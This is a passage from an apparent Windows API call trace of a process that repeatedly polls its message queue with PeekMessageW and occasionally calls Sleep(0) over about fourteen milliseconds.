wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.116] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.116] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.116] Sleep (dwMilliseconds=0x0) [0041.116] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.122] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.122] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.122] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.122] Sleep (dwMilliseconds=0x0) [0041.122] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.122] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.122] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.122] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.122] Sleep (dwMilliseconds=0x0) [0041.122] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] Sleep (dwMilliseconds=0x0) [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] Sleep (dwMilliseconds=0x0) [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.123] Sleep (dwMilliseconds=0x0) [0041.123] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.124] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.124] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.124] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.124] Sleep (dwMilliseconds=0x0) [0041.124] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.124] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.124] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.124] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.124] Sleep (dwMilliseconds=0x0) [0041.124] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] Sleep (dwMilliseconds=0x0) [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] Sleep (dwMilliseconds=0x0) [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.125] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.126] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.127] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.128] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.129] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, 